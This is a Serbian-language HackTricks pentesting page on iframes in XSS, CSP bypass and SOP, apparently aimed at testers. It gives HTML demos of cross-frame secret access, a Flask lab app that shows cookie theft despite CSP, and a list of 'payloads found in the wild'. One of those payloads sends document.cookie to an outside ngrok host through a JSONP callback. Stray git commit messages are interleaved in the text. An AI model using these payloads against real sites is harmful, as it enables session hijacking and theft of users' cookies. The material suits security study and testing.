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hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md

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# Iframes in XSS, CSP and SOP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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</details>
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{% endhint %}
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## Iframes in XSS
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Postoje 3 načina da se označi sadržaj iframed stranice:
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* Putem `src` koji označava URL (URL može biti cross origin ili same origin)
* Putem `src` koji označava sadržaj koristeći `data:` protokol
* Putem `srcdoc` koji označava sadržaj
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**Pristupanje Parent & Child varijablama**
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```html
<html>
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<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
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</html>
```
```html
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
```
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Ako pristupite prethodnom html-u putem http servera (kao što je `python3 -m http.server`), primetićete da će se svi skripti izvršiti (pošto ne postoji CSP koji to sprečava). **roditelj neće moći da pristupi `secret` varijabli unutar bilo kog iframe-a** i **samo iframe-ovi if2 i if3 (koji se smatraju istim mestom) mogu pristupiti tajni** u originalnom prozoru.\
Obratite pažnju kako se if4 smatra da ima `null` poreklo.
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### Iframes sa CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
GitBook: [#2789] gitbook failing again
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GitBook: [#2790] iframes
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{% hint style="info" %}
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Molimo vas, obratite pažnju kako u sledećim zaobilaženjima odgovor na iframed stranicu ne sadrži nijedan CSP header koji sprečava izvršavanje JS-a.
GitBook: [#2790] iframes
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{% endhint %}
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`self` vrednost `script-src` neće dozvoliti izvršavanje JS koda koristeći `data:` protokol ili `srcdoc` atribut.\
Međutim, čak i `none` vrednost CSP-a će dozvoliti izvršavanje iframe-ova koji stavljaju URL (potpun ili samo putanju) u `src` atribut.\
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Stoga je moguće zaobići CSP stranice sa:
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```html
<html>
<head>
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<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
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</head>
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<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
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</html>
```
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Napomena kako **prethodni CSP dozvoljava samo izvršavanje inline skripte**.\
Međutim, **samo `if1` i `if2` skripte će biti izvršene, ali samo `if1` će moći da pristupi roditeljskom tajnom**.
GitBook: [#2789] gitbook failing again
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![](<../../.gitbook/assets/image (372).png>)
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Stoga, moguće je **obići CSP ako možete da otpremite JS datoteku na server i učitate je putem iframe-a čak i sa `script-src 'none'`**. Ovo se **potencijalno može uraditi i zloupotrebom same-site JSONP krajnje tačke**.
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Možete testirati ovo sa sledećim scenarijom gde je kolačić ukraden čak i sa `script-src 'none'`. Samo pokrenite aplikaciju i pristupite joj putem vašeg pregledača:
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```python
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
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resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
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@app.route("/cookie_s.html")
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def cookie_s():
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return "<script>alert(document.cookie)</script>"
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if __name__ == "__main__":
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app.run()
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```
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### Ostali payloadi pronađeni u divljini <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
GitBook: [#2789] gitbook failing again
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```html
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
```
GitBook: [#3347] No subject
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### Iframe sandbox
GitBook: [#2789] gitbook failing again
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Sadržaj unutar iframe-a može biti podvrgnut dodatnim ograničenjima korišćenjem `sandbox` atributa. Po defaultu, ovaj atribut nije primenjen, što znači da nema ograničenja.
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Kada se koristi, `sandbox` atribut nameće nekoliko ograničenja:
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* Sadržaj se tretira kao da potiče iz jedinstvenog izvora.
Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA
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* Svaki pokušaj slanja formi je blokiran.
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* Izvršavanje skripti je zabranjeno.
* Pristup određenim API-jima je onemogućen.
* Sprečava interakciju linkova sa drugim kontekstima pretraživanja.
* Korišćenje dodataka putem `<embed>`, `<object>`, `<applet>`, ili sličnih oznaka je zabranjeno.
* Navigacija sadržajem najvišeg nivoa pretraživačkog konteksta od strane samog sadržaja je sprečena.
* Funkcije koje se automatski aktiviraju, poput reprodukcije videa ili automatskog fokusiranja kontrola formi, su blokirane.
Vrednost atributa može biti ostavljena prazna (`sandbox=""`) da bi se primenila sva prethodno navedena ograničenja. Alternativno, može se postaviti na listu specifičnih vrednosti odvojenih razmakom koje izuzimaju iframe od određenih ograničenja.
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```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```
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## Iframes u SOP
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Translated to Serbian
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Proverite sledeće stranice:
GitBook: [#3602] No subject
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GitBook: [#3603] No subject
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{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
GitBook: [#3602] No subject
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GitBook: [#3603] No subject
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{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
GitBook: [#3602] No subject
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GitBook: [#3603] No subject
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{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
GitBook: [#3347] No subject
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GitBook: [#3603] No subject
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{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
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{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Podrška HackTricks</summary>
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Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo
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* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
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</details>
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{% endhint %}
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